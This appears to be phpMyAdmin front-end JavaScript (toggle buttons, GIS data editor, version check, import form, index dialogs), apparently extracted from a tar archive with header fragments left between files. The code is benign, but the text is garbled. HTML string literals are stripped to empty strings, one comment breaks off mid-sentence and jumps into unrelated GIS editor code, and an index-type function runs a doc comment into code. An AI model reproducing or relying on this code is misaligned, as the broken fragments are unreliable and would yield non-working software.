pixels to avoid overflowed $('td.toggleOn > div', $obj).width(Math.max(on, off) + 2); $('td.toggleOff > div', $obj).width(Math.max(on, off) + 2); /** * @var w Width of the central part of the switch */ var w = parseInt(($('img', $obj).height() / 16) * 22, 10); // Resize the central part of the switch on the top // layer to match the background $($obj).find('table td').eq(1).children('div').width(w); /** * @var imgw Width of the background image * @var tblw Width of the foreground layer * @var offset By how many pixels to move the background * image, so that it matches the top layer */ var imgw = $('img', $obj).width(); var tblw = $('table', $obj).width(); var offset = parseInt(((imgw - tblw) / 2), 10); // Move the background to match the layout of the top layer $obj.find('img').css(right, offset); /** * @var offw Outer width of the "ON" part of the toggle switch * @var btnw Outer width of the central part of the switch */ var offw = $('td.toggleOff', $obj).outerWidth(); var btnw = $($obj).find('table td').eq(1).outerWidth(); // Resize the main div so that exactly one side of // the switch plus the central part fit into it. $obj.width(offw + btnw + 2); /** * @var move How many pixels to move the * switch by when toggling */ var move = $('td.toggleOff', $obj).outerWidth(); // If the switch is initialized to the // OFF state we need to move it now. if ($('div.toggle-container', $obj).hasClass('off')) { if (right === 'right') { $('div.toggle-container', $obj).animate({ 'left': '-=' + move + 'px' }, 0); } else { $('div.toggle-container', $obj).animate({ 'left': '+=' + move + 'px' }, 0); } } // Attach an 'onclick' event to the switch $('div.toggle-container', $obj).on('click', function () { if ($(this).hasClass('isActive')) { return false; } else { $(this).addClass('isActive'); } var $msg = Functions.ajaxShowMessage(); var $container = $(this); var callback = $('span.callback', this).text(); var operator; var url; var removeClass; var addClass; // Perform the actual toggle if ($(this).hasClass('on')) { if (right === 'right') { operator = '-='; } else { operator = '+='; } url = $(this).find('td.toggleOff > span').text(); removeClass = 'on'; addClass = 'off'; } else { if (right === 'right') { operator = '+='; } else { operator = '-='; } url = $(this).find('td.toggleOn > span').text(); removeClass = 'off'; addClass = 'on'; } var parts = url.split('?'); $.post(parts[0], parts[1] + '&ajax_request=true', function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxRemoveMessage($msg); $container .removeClass(removeClass) .addClass(addClass) .animate({ 'left': operator + move + 'px' }, function () { $container.removeClass('isActive'); }); // eslint-disable-next-line no-eval eval(callback); } else { Functions.ajaxShowMessage(data.error, false); $container.removeClass('isActive'); } }); }); }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('functions.js', function () { $('div.toggle-container').off('click'); }); /** * Initialise all toggle buttons */ AJAX.registerOnload('functions.js', function () { $('div.toggleAjax').each(function () { var $button = $(this).show(); $button.find('img').each(function () { if (this.complete) { Functions.toggleButton($button); } else { $(this).on('load', function () { Functions.toggleButton($button); }); } }); }); }); /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('functions.js', function () { $(document).off('change', 'select.pageselector'); $('#update_recent_tables').off('ready'); $('#sync_favorite_tables').off('ready'); }); AJAX.registerOnload('functions.js', function () { /** * Autosubmit page selector */ $(document).on('change', 'select.pageselector', function (event) { event.stopPropagation(); // Check where to load the new content if ($(this).closest('#pma_navigation').length === 0) { // For the main page we don't need to do anything, $(this).closest('form').trigger('submit'); } else { // but for the navigation we need to manually replace the content Navigation.treePagination($(this)); } }); var $updateRecentTables = $('#update_recent_tables'); if ($updateRecentTables.length) { $.get( $updateRecentTables.attr('href'), { 'no_debug': true }, function (data) { if (typeof data !== 'undefined' && data.success === true) { $('#pma_recent_list').html(data.list); } } ); } // Sync favorite tables from localStorage to pmadb. if ($('#sync_favorite_tables').length) { $.ajax({ url: $('#sync_favorite_tables').attr('href'), cache: false, type: 'POST', data: { 'favoriteTables': (isStorageSupported('localStorage') && typeof window.localStorage.favoriteTables !== 'undefined') ? window.localStorage.favoriteTables : '', 'server': CommonParams.get('server'), 'no_debug': true }, success: function (data) { // Update localStorage. if (isStorageSupported('localStorage')) { window.localStorage.favoriteTables = data.favoriteTables; } $('#pma_favorite_list').html(data.list); } }); } }); // end of $() /** * Creates a message inside an object with a sliding effect * * @param {string} msg A string containing the text to display * @param {JQuery} $object a jQuery object containing the reference * to the element where to put the message * This is optional, if no element is * provided, one will be created below the * navigation links at the top of the page * * @return {boolean} True on success, false on failure */ Functions.slidingMessage = function (msg, $object) { var $obj = $object; if (msg === undefined || msg.length === 0) { // Don't show an empty message return false; } if ($obj === undefined || !($obj instanceof jQuery) || $obj.length === 0) { // If the second argument was not supplied, // we might have to create a new DOM node. if ($('#PMA_slidingMessage').length === 0) { $('#page_content').prepend( '' ); } $obj = $('#PMA_slidingMessage'); } if ($obj.has('div').length > 0) { // If there already is a message inside the // target object, we must get rid of it $obj .find('div') .first() .fadeOut(function () { $obj .children() .remove(); $obj .append('
          ' + msg + '
          '); // highlight any sql before taking height; Functions.highlightSql($obj); $obj.find('div') .first() .hide(); $obj .animate({ height: $obj.find('div').first().height() }) .find('div') .first() .fadeIn(); }); } else { // Object does not already have a message // inside it, so we simply slide it down $obj.width('100%') .html('
          ' + msg + '
          '); // highlight any sql before taking height; Functions.highlightSql($obj); var h = $obj .find('div') .first() .hide() .height(); $obj .find('div') .first() .css('height', 0) .show() .animate({ height: h }, function () { // Set the height of the parent // to the height of the child $obj .height( $obj .find('div') .first() .height() ); }); } return true; }; /** * Attach CodeMirror2 editor to SQL edit area. */ AJAX.registerOnload('functions.js', function () { var $elm = $('#sqlquery'); if ($elm.siblings().filter('.CodeMirror').length > 0) { return; } if ($elm.length > 0) { if (typeof CodeMirror !== 'undefined') { codeMirrorEditor = Functions.getSqlEditor($elm); codeMirrorEditor.focus(); codeMirrorEditor.on('blur', Functions.updateQueryParameters); } else { // without codemirror $elm.trigger('focus').on('blur', Functions.updateQueryParameters); } } Functions.highlightSql($('body')); }); AJAX.registerTeardown('functions.js', function () { if (codeMirrorEditor) { $('#sqlquery').text(codeMirrorEditor.getValue()); codeMirrorEditor.toTextArea(); codeMirrorEditor = false; } }); AJAX.registerOnload('functions.js', function () { // initializes all lock-page elements lock-id and // val-hash data property $('#page_content form.lock-page textarea, ' + '#page_content form.lock-page input[type="text"], ' + '#page_content form.lock-page input[type="number"], ' + '#page_content form.lock-page select').each(function (i) { $(this).data('lock-id', i); // val-hash is the hash of default value of the field // so that it can be compared with new value hash // to check whether field was modified or not. $(this).data('val-hash', AJAX.hash($(this).val())); }); // initializes lock-page elements (input types checkbox and radio buttons) // lock-id and val-hash data property $('#page_content form.lock-page input[type="checkbox"], ' + '#page_content form.lock-page input[type="radio"]').each(function (i) { $(this).data('lock-id', i); $(this).data('val-hash', AJAX.hash($(this).is(':checked'))); }); }); /** * jQuery plugin to correctly filter input fields by value, needed * because some nasty values may break selector syntax */ (function ($) { $.fn.filterByValue = function (value) { return this.filter(function () { return $(this).val() === value; }); }; }(jQuery)); /** * Return value of a cell in a table. * * @param {string} td * @return {string} */ Functions.getCellValue = function (td) { var $td = $(td); if ($td.is('.null')) { return ''; } else if ((! $td.is('.to_be_saved') || $td.is('.set')) && $td.data('original_data') ) { return $td.data('original_data'); } else { return $td.text(); } }; /** * Validate and return stringified JSON inputs, or plain if invalid. * * @param json the json input to be validated and stringified * @param replacer An array of strings and numbers that acts as an approved list for selecting the object properties that will be stringified. * @param space Adds indentation, white space, and line break characters to the return-value JSON text to make it easier to read. * @return {string} */ Functions.stringifyJSON = function (json, replacer = null, space = 0) { try { return JSON.stringify(JSON.parse(json), replacer, space); } catch (e) { return json; } }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('functions.js', function () { $(document).off('change', '.autosubmit'); }); AJAX.registerOnload('functions.js', function () { /** * Automatic form submission on change. */ $(document).on('change', '.autosubmit', function () { $(this).closest('form').trigger('submit'); }); }); /** * @implements EventListener */ const PrintPage = { handleEvent: () => { window.print(); } }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('functions.js', function () { document.querySelectorAll('.jsPrintButton').forEach(item => { item.removeEventListener('click', PrintPage); }); $(document).off('click', 'a.create_view.ajax'); $(document).off('keydown', '#createViewModal input, #createViewModal select'); $(document).off('change', '#fkc_checkbox'); }); AJAX.registerOnload('functions.js', function () { document.querySelectorAll('.jsPrintButton').forEach(item => { item.addEventListener('click', PrintPage); }); $('.logout').on('click', function () { var form = $( '
          ' + '' + '
          ' ); $('body').append(form); form.submit(); sessionStorage.clear(); return false; }); /** * Ajaxification for the "Create View" action */ $(document).on('click', 'a.create_view.ajax', function (e) { e.preventDefault(); Functions.createViewModal($(this)); }); /** * Attach Ajax event handlers for input fields in the editor * and used to submit the Ajax request when the ENTER key is pressed. */ if ($('#createViewModal').length !== 0) { $(document).on('keydown', '#createViewModal input, #createViewModal select', function (e) { if (e.which === 13) { // 13 is the ENTER key e.preventDefault(); // with preventing default, selection by ' + '' + ''; } /** * Initialize the visualization in the GIS data editor. */ function initGISEditorVisualization () { storeGisSvgRef(); // Loads either SVG or OSM visualization based on the choice selectVisualization(); // Adds necessary styles to the div that contains the openStreetMap styleOSM(); // Adds controllers for zooming and panning addZoomPanControllers(); zoomAndPan(); } /** * Loads JavaScript files and the GIS editor. * * @param value current value of the geometry field * @param field field name * @param type geometry type * @param inputName name of the input field * @param token token */ // eslint-disable-next-line no-unused-vars function loadJSAndGISEditor (value, field, type, inputName) { var head = document.getElementsByTagName('head')[0]; var script; script = document.createElement('script'); script.type = 'text/javascript'; script.src = 'js/dist/table/gis_visualization.js'; head.appendChild(script); // OpenLayers.js is BIG and takes time. So asynchronous loading would not work. // Load the JS and do a callback to load the content for the GIS Editor. script = document.createElement('script'); script.type = 'text/javascript'; script.onreadystatechange = function () { if (this.readyState === 'complete') { loadGISEditor(value, field, type, inputName); } }; script.onload = function () { loadGISEditor(value, field, type, inputName); }; script.onerror = function () { loadGISEditor(value, field, type, inputName); }; script.src = 'js/vendor/openlayers/OpenLayers.js'; head.appendChild(script); gisEditorLoaded = true; } /** * Loads the GIS editor via AJAX * * @param value current value of the geometry field * @param field field name * @param type geometry type * @param inputName name of the input field */ function loadGISEditor (value, field, type, inputName) { var $gisEditor = $('#gis_editor'); $.post('index.php?route=/gis-data-editor', { 'field' : field, 'value' : value, 'type' : type, 'input_name' : inputName, 'get_gis_editor' : true, 'ajax_request': true, 'server': CommonParams.get('server') }, function (data) { if (typeof data !== 'undefined' && data.success === true) { $gisEditor.html(data.gis_editor); initGISEditorVisualization(); prepareJSVersion(); } else { Functions.ajaxShowMessage(data.error, false); } }, 'json'); } /** * Opens up the dialog for the GIS data editor. */ // eslint-disable-next-line no-unused-vars function openGISEditor () { // Center the popup var windowWidth = document.documentElement.clientWidth; var windowHeight = document.documentElement.clientHeight; var popupWidth = windowWidth * 0.9; var popupHeight = windowHeight * 0.9; var popupOffsetTop = windowHeight / 2 - popupHeight / 2; var popupOffsetLeft = windowWidth / 2 - popupWidth / 2; var $gisEditor = $('#gis_editor'); var $background = $('#popup_background'); $gisEditor.css({ 'top': popupOffsetTop, 'left': popupOffsetLeft, 'width': popupWidth, 'height': popupHeight }); $background.css({ 'opacity' : '0.7' }); $gisEditor.append( '
          ' + '' + '
          ' ); // Make it appear $background.fadeIn('fast'); $gisEditor.fadeIn('fast'); } /** * Prepare and insert the GIS data in Well Known Text format * to the input field. */ function insertDataAndClose () { var $form = $('form#gis_data_editor_form'); var inputName = $form.find('input[name=\'input_name\']').val(); var argsep = CommonParams.get('arg_separator'); $.post('index.php?route=/gis-data-editor', $form.serialize() + argsep + 'generate=true' + argsep + 'ajax_request=true', function (data) { if (typeof data !== 'undefined' && data.success === true) { $('input[name=\'' + inputName + '\']').val(data.result); } else { Functions.ajaxShowMessage(data.error, false); } }, 'json'); closeGISEditor(); } /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('gis_data_editor.js', function () { $(document).off('click', '#gis_editor input[name=\'gis_data[save]\']'); $(document).off('submit', '#gis_editor'); $(document).off('change', '#gis_editor input[type=\'text\']'); $(document).off('change', '#gis_editor select.gis_type'); $(document).off('click', '#gis_editor a.close_gis_editor, #gis_editor a.cancel_gis_editor'); $(document).off('click', '#gis_editor a.addJs.addPoint'); $(document).off('click', '#gis_editor a.addLine.addJs'); $(document).off('click', '#gis_editor a.addJs.addPolygon'); $(document).off('click', '#gis_editor a.addJs.addGeom'); }); AJAX.registerOnload('gis_data_editor.js', function () { /** * Prepares and insert the GIS data to the input field on clicking 'copy'. */ $(document).on('click', '#gis_editor input[name=\'gis_data[save]\']', function (event) { event.preventDefault(); insertDataAndClose(); }); /** * Prepares and insert the GIS data to the input field on pressing 'enter'. */ $(document).on('submit', '#gis_editor', function (event) { event.preventDefault(); insertDataAndClose(); }); /** * Trigger asynchronous calls on data change and update the output. */ $(document).on('change', '#gis_editor input[type=\'text\']', function () { var $form = $('form#gis_data_editor_form'); var argsep = CommonParams.get('arg_separator'); $.post('index.php?route=/gis-data-editor', $form.serialize() + argsep + 'generate=true' + argsep + 'ajax_request=true', function (data) { if (typeof data !== 'undefined' && data.success === true) { $('#gis_data_textarea').val(data.result); $('#placeholder').empty().removeClass('hasSVG').html(data.visualization); $('#openlayersmap').empty(); /* TODO: the gis_data_editor should rather return JSON than JS code to eval */ // eslint-disable-next-line no-eval eval(data.openLayers); initGISEditorVisualization(); } else { Functions.ajaxShowMessage(data.error, false); } }, 'json'); }); /** * Update the form on change of the GIS type. */ $(document).on('change', '#gis_editor select.gis_type', function () { var $gisEditor = $('#gis_editor'); var $form = $('form#gis_data_editor_form'); var argsep = CommonParams.get('arg_separator'); $.post('index.php?route=/gis-data-editor', $form.serialize() + argsep + 'get_gis_editor=true' + argsep + 'ajax_request=true', function (data) { if (typeof data !== 'undefined' && data.success === true) { $gisEditor.html(data.gis_editor); initGISEditorVisualization(); prepareJSVersion(); } else { Functions.ajaxShowMessage(data.error, false); } }, 'json'); }); /** * Handles closing of the GIS data editor. */ $(document).on('click', '#gis_editor a.close_gis_editor, #gis_editor a.cancel_gis_editor', function () { closeGISEditor(); }); /** * Handles adding data points */ $(document).on('click', '#gis_editor a.addJs.addPoint', function () { var $a = $(this); var name = $a.attr('name'); // Eg. name = gis_data[0][MULTIPOINT][add_point] => prefix = gis_data[0][MULTIPOINT] var prefix = name.substr(0, name.length - 11); // Find the number of points var $noOfPointsInput = $('input[name=\'' + prefix + '[no_of_points]' + '\']'); var noOfPoints = parseInt($noOfPointsInput.val(), 10); // Add the new data point var html = addDataPoint(noOfPoints, prefix); $a.before(html); $noOfPointsInput.val(noOfPoints + 1); }); /** * Handles adding linestrings and inner rings */ $(document).on('click', '#gis_editor a.addLine.addJs', function () { var $a = $(this); var name = $a.attr('name'); // Eg. name = gis_data[0][MULTILINESTRING][add_line] => prefix = gis_data[0][MULTILINESTRING] var prefix = name.substr(0, name.length - 10); var type = prefix.slice(prefix.lastIndexOf('[') + 1, prefix.lastIndexOf(']')); // Find the number of lines var $noOfLinesInput = $('input[name=\'' + prefix + '[no_of_lines]' + '\']'); var noOfLines = parseInt($noOfLinesInput.val(), 10); // Add the new linesting of inner ring based on the type var html = '
          '; var noOfPoints; if (type === 'MULTILINESTRING') { html += Messages.strLineString + ' ' + (noOfLines + 1) + ':'; noOfPoints = 2; } else { html += Messages.strInnerRing + ' ' + noOfLines + ':'; noOfPoints = 4; } html += ''; for (var i = 0; i < noOfPoints; i++) { html += addDataPoint(i, (prefix + '[' + noOfLines + ']')); } html += '+ ' + Messages.strAddPoint + '
          '; $a.before(html); $noOfLinesInput.val(noOfLines + 1); }); /** * Handles adding polygons */ $(document).on('click', '#gis_editor a.addJs.addPolygon', function () { var $a = $(this); var name = $a.attr('name'); // Eg. name = gis_data[0][MULTIPOLYGON][add_polygon] => prefix = gis_data[0][MULTIPOLYGON] var prefix = name.substr(0, name.length - 13); // Find the number of polygons var $noOfPolygonsInput = $('input[name=\'' + prefix + '[no_of_polygons]' + '\']'); var noOfPolygons = parseInt($noOfPolygonsInput.val(), 10); // Add the new polygon var html = Messages.strPolygon + ' ' + (noOfPolygons + 1) + ':
          '; html += '' + '
          ' + Messages.strOuterRing + ':' + ''; for (var i = 0; i < 4; i++) { html += addDataPoint(i, (prefix + '[' + noOfPolygons + '][0]')); } html += '+ ' + Messages.strAddPoint + '
          ' + '+ ' + Messages.strAddInnerRing + '

          '; $a.before(html); $noOfPolygonsInput.val(noOfPolygons + 1); }); /** * Handles adding geoms */ $(document).on('click', '#gis_editor a.addJs.addGeom', function () { var $a = $(this); var prefix = 'gis_data[GEOMETRYCOLLECTION]'; // Find the number of geoms var $noOfGeomsInput = $('input[name=\'' + prefix + '[geom_count]' + '\']'); var noOfGeoms = parseInt($noOfGeomsInput.val(), 10); var html1 = Messages.strGeometry + ' ' + (noOfGeoms + 1) + ':
          '; var $geomType = $('select[name=\'gis_data[' + (noOfGeoms - 1) + '][gis_type]\']').clone(); $geomType.attr('name', 'gis_data[' + noOfGeoms + '][gis_type]').val('POINT'); var html2 = '
          ' + Messages.strPoint + ' :' + '' + '' + '' + '' + '

          '; $a.before(html1); $geomType.insertBefore($a); $a.before(html2); $noOfGeomsInput.val(noOfGeoms + 1); }); }); home.js000066600000013723151724624350006055 0ustar00const GitInfo = { /** * Version string to integer conversion. * @param {string} str * @return {number | false} */ parseVersionString: function (str) { if (typeof(str) !== 'string') { return false; } let add = 0; // Parse possible alpha/beta/rc/ const state = str.split('-'); if (state.length >= 2) { if (state[1].substr(0, 2) === 'rc') { add = - 20 - parseInt(state[1].substr(2), 10); } else if (state[1].substr(0, 4) === 'beta') { add = - 40 - parseInt(state[1].substr(4), 10); } else if (state[1].substr(0, 5) === 'alpha') { add = - 60 - parseInt(state[1].substr(5), 10); } else if (state[1].substr(0, 3) === 'dev') { /* We don't handle dev, it's git snapshot */ add = 0; } } // Parse version const x = str.split('.'); // Use 0 for non existing parts const maj = parseInt(x[0], 10) || 0; const min = parseInt(x[1], 10) || 0; const pat = parseInt(x[2], 10) || 0; const hotfix = parseInt(x[3], 10) || 0; return maj * 100000000 + min * 1000000 + pat * 10000 + hotfix * 100 + add; }, /** * Indicates current available version on main page. * @param {object} data */ currentVersion: function (data) { if (data && data.version && data.date) { const current = GitInfo.parseVersionString($('span.version').text()); const latest = GitInfo.parseVersionString(data.version); const url = './url.php?url=https://www.phpmyadmin.net/files/' + Functions.escapeHtml(encodeURIComponent(data.version)) + '/'; let versionInformationMessage = document.createElement('span'); versionInformationMessage.className = 'latest'; const versionInformationMessageLink = document.createElement('a'); versionInformationMessageLink.href = url; versionInformationMessageLink.className = 'disableAjax'; versionInformationMessageLink.target = '_blank'; versionInformationMessageLink.rel = 'noopener noreferrer'; const versionInformationMessageLinkText = document.createTextNode(data.version); versionInformationMessageLink.appendChild(versionInformationMessageLinkText); const prefixMessage = document.createTextNode(Messages.strLatestAvailable + ' '); versionInformationMessage.appendChild(prefixMessage); versionInformationMessage.appendChild(versionInformationMessageLink); if (latest > current) { const message = Functions.sprintf( Messages.strNewerVersion, Functions.escapeHtml(data.version), Functions.escapeHtml(data.date) ); let htmlClass = 'alert alert-primary'; if (Math.floor(latest / 10000) === Math.floor(current / 10000)) { /* Security update */ htmlClass = 'alert alert-danger'; } $('#newer_version_notice').remove(); const mainContainerDiv = document.createElement('div'); mainContainerDiv.id = 'newer_version_notice'; mainContainerDiv.className = htmlClass; const mainContainerDivLink = document.createElement('a'); mainContainerDivLink.href = url; mainContainerDivLink.className = 'disableAjax'; mainContainerDivLink.target = '_blank'; mainContainerDivLink.rel = 'noopener noreferrer'; const mainContainerDivLinkText = document.createTextNode(message); mainContainerDivLink.appendChild(mainContainerDivLinkText); mainContainerDiv.appendChild(mainContainerDivLink); $('#maincontainer').append($(mainContainerDiv)); } if (latest === current) { versionInformationMessage = document.createTextNode(' (' + Messages.strUpToDate + ')'); } /* Remove extra whitespace */ const versionInfo = $('#li_pma_version').contents().get(2); if (typeof versionInfo !== 'undefined') { versionInfo.textContent = versionInfo.textContent.trim(); } const $liPmaVersion = $('#li_pma_version'); $liPmaVersion.find('span.latest').remove(); $liPmaVersion.append($(versionInformationMessage)); } }, /** * Loads Git revision data from ajax for index.php */ displayGitRevision: function () { $('#is_git_revision').remove(); $('#li_pma_version_git').remove(); $.get( 'index.php?route=/git-revision', { 'server': CommonParams.get('server'), 'ajax_request': true, 'no_debug': true }, function (data) { if (typeof data !== 'undefined' && data.success === true) { $(data.message).insertAfter('#li_pma_version'); } } ); } }; AJAX.registerTeardown('home.js', function () { $('#themesModal').off('show.bs.modal'); }); AJAX.registerOnload('home.js', function () { $('#themesModal').on('show.bs.modal', function () { $.get('index.php?route=/themes', function (data) { $('#themesModal .modal-body').html(data.themes); }); }); /** * Load version information asynchronously. */ if ($('li.jsversioncheck').length > 0) { $.ajax({ dataType: 'json', url: 'index.php?route=/version-check', method: 'POST', data: { 'server': CommonParams.get('server') }, success: GitInfo.currentVersion }); } if ($('#is_git_revision').length > 0) { setTimeout(GitInfo.displayGitRevision, 10); } }); import.js000066600000014025151724624350006433 0ustar00/** * Functions used in the import tab * */ /** * Toggles the hiding and showing of each plugin's options * according to the currently selected plugin from the dropdown list */ function changePluginOpts () { $('#format_specific_opts').find('div.format_specific_options').each(function () { $(this).hide(); }); var selectedPluginName = $('#plugins').find('option:selected').val(); $('#' + selectedPluginName + '_options').fadeIn('slow'); const importNotification = document.getElementById('import_notification'); importNotification.innerText = ''; if (selectedPluginName === 'csv') { importNotification.innerHTML = ''; } } /** * Toggles the hiding and showing of each plugin's options and sets the selected value * in the plugin dropdown list according to the format of the selected file * * @param {string} fname */ function matchFile (fname) { var fnameArray = fname.toLowerCase().split('.'); var len = fnameArray.length; if (len !== 0) { var extension = fnameArray[len - 1]; if (extension === 'gz' || extension === 'bz2' || extension === 'zip') { len--; } // Only toggle if the format of the file can be imported if ($('select[name=\'format\'] option').filterByValue(fnameArray[len - 1]).length === 1) { $('select[name=\'format\'] option').filterByValue(fnameArray[len - 1]).prop('selected', true); changePluginOpts(); } } } /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('import.js', function () { $('#plugins').off('change'); $('#input_import_file').off('change'); $('#select_local_import_file').off('change'); $('#input_import_file').off('change').off('focus'); $('#select_local_import_file').off('focus'); $('#text_csv_enclosed').add('#text_csv_escaped').off('keyup'); }); AJAX.registerOnload('import.js', function () { // import_file_form validation. $(document).on('submit', '#import_file_form', function () { var radioLocalImport = $('#localFileTab'); var radioImport = $('#uploadFileTab'); var fileMsg = ''; var wrongTblNameMsg = ''; var wrongDBNameMsg = ''; if (radioLocalImport.length !== 0) { // remote upload. if (radioImport.hasClass('active') && $('#input_import_file').val() === '') { $('#input_import_file').trigger('focus'); Functions.ajaxShowMessage(fileMsg, false); return false; } if (radioLocalImport.hasClass('active')) { if ($('#select_local_import_file').length === 0) { Functions.ajaxShowMessage('', false); return false; } if ($('#select_local_import_file').val() === '') { $('#select_local_import_file').trigger('focus'); Functions.ajaxShowMessage(fileMsg, false); return false; } } } else { // local upload. if ($('#input_import_file').val() === '') { $('#input_import_file').trigger('focus'); Functions.ajaxShowMessage(fileMsg, false); return false; } if ($('#text_csv_new_tbl_name').length > 0) { var newTblName = $('#text_csv_new_tbl_name').val(); if (newTblName.length > 0 && newTblName.trim().length === 0) { Functions.ajaxShowMessage(wrongTblNameMsg, false); return false; } } if ($('#text_csv_new_db_name').length > 0) { var newDBName = $('#text_csv_new_db_name').val(); if (newDBName.length > 0 && newDBName.trim().length === 0) { Functions.ajaxShowMessage(wrongDBNameMsg, false); return false; } } } // show progress bar. $('#upload_form_status').css('display', 'inline'); $('#upload_form_status_info').css('display', 'inline'); }); // Initially display the options for the selected plugin changePluginOpts(); // Whenever the selected plugin changes, change the options displayed $('#plugins').on('change', function () { changePluginOpts(); }); $('#input_import_file').on('change', function () { matchFile($(this).val()); }); $('#select_local_import_file').on('change', function () { matchFile($(this).val()); }); /** * Set up the interface for Javascript-enabled browsers since the default is for * Javascript-disabled browsers */ $('#format_specific_opts').find('div.format_specific_options') .find('h3') .remove(); // $("form[name=import] *").unwrap(); /** * for input element text_csv_enclosed and text_csv_escaped allow just one character to enter. * as mysql allows just one character for these fields, * if first character is escape then allow two including escape character. */ $('#text_csv_enclosed').add('#text_csv_escaped').on('keyup', function () { if ($(this).val().length === 2 && $(this).val().charAt(0) !== '\\') { $(this).val($(this).val().substring(0, 1)); return false; } return true; }); }); indexes.js000066600000074775151724624350006602 0ustar00/** * @fileoverview function used for index manipulation pages * @name Table Structure * * @requires jQuery * @requires jQueryUI * @required js/functions.js */ /* global fulltextIndexes:writable, indexes:writable, primaryIndexes:writable, spatialIndexes:writable, uniqueIndexes:writable */ // js/functions.js var Indexes = {}; /** * Returns the array of indexes based on the index choice * * @param {string} indexChoice index choice * * @return {null|object} */ Indexes.getIndexArray = function (indexChoice) { var sourceArray = null; switch (indexChoice.toLowerCase()) { case 'primary': sourceArray = primaryIndexes; break; case 'unique': sourceArray = uniqueIndexes; break; case 'index': sourceArray = indexes; break; case 'fulltext': sourceArray = fulltextIndexes; break; case 'spatial': sourceArray = spatialIndexes; break; default: return null; } return sourceArray; }; /** * Hides/shows the inputs and submits appropriately depending * on whether the index type chosen is 'SPATIAL' or not. */ Indexes.checkIndexType = function () { /** * @var {JQuery= 0) { // Remove column from other indexes (if any). Indexes.removeColumnFromIndex(colIndex); } var indexName = $('input[name="index[Key_name]"]').val(); var indexComment = $('input[name="index[Index_comment]"]').val(); var keyBlockSize = $('input[name="index[Key_block_size]"]').val(); var parser = $('input[name="index[Parser]"]').val(); var indexType = $('select[name="index[Index_type]"]').val(); var columns = []; $('#index_columns').find('tbody').find('tr').each(function () { // Get columns in particular order. var colIndex = $(this).find('select[name="index[columns][names][]"]').val(); var size = $(this).find('input[name="index[columns][sub_parts][]"]').val(); columns.push({ 'col_index': colIndex, 'size': size }); }); // Update or create an index. sourceArray[arrayIndex] = { 'Key_name': indexName, 'Index_comment': indexComment, 'Index_choice': indexChoice.toUpperCase(), 'Key_block_size': keyBlockSize, 'Parser': parser, 'Index_type': indexType, 'columns': columns }; // Display index name (or column list) var displayName = indexName; if (displayName === '') { var columnNames = []; $.each(columns, function () { columnNames.push($('input[name="field_name[' + this.col_index + ']"]').val()); }); displayName = '[' + columnNames.join(', ') + ']'; } $.each(columns, function () { var id = 'index_name_' + this.col_index + '_8'; var $name = $('#' + id); if ($name.length === 0) { $name = $(''); $name.insertAfter($('select[name="field_key[' + this.col_index + ']"]')); } var $text = $('').text(displayName); $name.html($text); }); if (colIndex >= 0) { // Update index details on form. $('select[name="field_key[' + colIndex + ']"]') .attr('data-index', indexChoice + ',' + arrayIndex); } Indexes.setIndexFormParameters(sourceArray, indexChoice.toLowerCase()); }; /** * Get choices list for a column to create a composite index with. * * @param {any[]} sourceArray Array hodling columns for particular index * @param {string} colIndex Choice of index * * @return {JQuery} jQuery Object */ Indexes.getCompositeIndexList = function (sourceArray, colIndex) { // Remove any previous list. if ($('#composite_index_list').length) { $('#composite_index_list').remove(); } // Html list. var $compositeIndexList = $( '
            ' + '
            ' + Messages.strCompositeWith + '
            ' + '
          ' ); // Add each column to list available for composite index. var sourceLength = sourceArray.length; var alreadyPresent = false; for (var i = 0; i < sourceLength; i++) { var subArrayLen = sourceArray[i].columns.length; var columnNames = []; for (var j = 0; j < subArrayLen; j++) { columnNames.push( $('input[name="field_name[' + sourceArray[i].columns[j].col_index + ']"]').val() ); if (colIndex === sourceArray[i].columns[j].col_index) { alreadyPresent = true; } } $compositeIndexList.append( '
        • ' + '' + '' + '
        • ' ); } return $compositeIndexList; }; /** * Shows 'Add Index' dialog. * * @param {any[]} sourceArray Array holding particular index * @param {string} arrayIndex Index of an INDEX in array * @param {any[]} targetColumns Columns for an INDEX * @param {string} colIndex Index of column on form * @param {object} index Index detail object * @param {boolean} showDialog Whether to show index creation dialog or not * * @return {void} */ Indexes.showAddIndexDialog = function (sourceArray, arrayIndex, targetColumns, colIndex, index, showDialog) { var showDialogLocal = typeof showDialog !== 'undefined' ? showDialog : true; // Prepare post-data. var $table = $('input[name="table"]'); var table = $table.length > 0 ? $table.val() : ''; var postData = { 'server': CommonParams.get('server'), 'db': $('input[name="db"]').val(), 'table': table, 'ajax_request': 1, 'create_edit_table': 1, 'index': index }; var columns = {}; for (var i = 0; i < targetColumns.length; i++) { var columnName = $('input[name="field_name[' + targetColumns[i] + ']"]').val(); var columnType = $('select[name="field_type[' + targetColumns[i] + ']"]').val().toLowerCase(); columns[columnName] = [columnType, targetColumns[i]]; } postData.columns = JSON.stringify(columns); var buttonOptions = { [Messages.strGo]: { text: Messages.strGo, class: 'btn btn-primary', }, [Messages.strCancel]: { text: Messages.strCancel, class: 'btn btn-secondary', }, }; buttonOptions[Messages.strGo].click = function () { var isMissingValue = false; $('select[name="index[columns][names][]"]').each(function () { if ($(this).val() === '') { isMissingValue = true; } }); if (! isMissingValue) { Indexes.addColumnToIndex( sourceArray, arrayIndex, index.Index_choice, colIndex ); } else { Functions.ajaxShowMessage( '', false ); return false; } $(this).remove(); }; buttonOptions[Messages.strCancel].click = function () { if (colIndex >= 0) { // Handle state on 'Cancel'. var $selectList = $('select[name="field_key[' + colIndex + ']"]'); if (! $selectList.attr('data-index').length) { $selectList.find('option[value*="none"]').attr('selected', 'selected'); } else { var previousIndex = $selectList.attr('data-index').split(','); $selectList.find('option[value*="' + previousIndex[0].toLowerCase() + '"]') .attr('selected', 'selected'); } } $(this).dialog('close'); }; var $msgbox = Functions.ajaxShowMessage(); $.post('index.php?route=/table/indexes', postData, function (data) { if (data.success === false) { // in the case of an error, show the error message returned. Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); var $div = $('
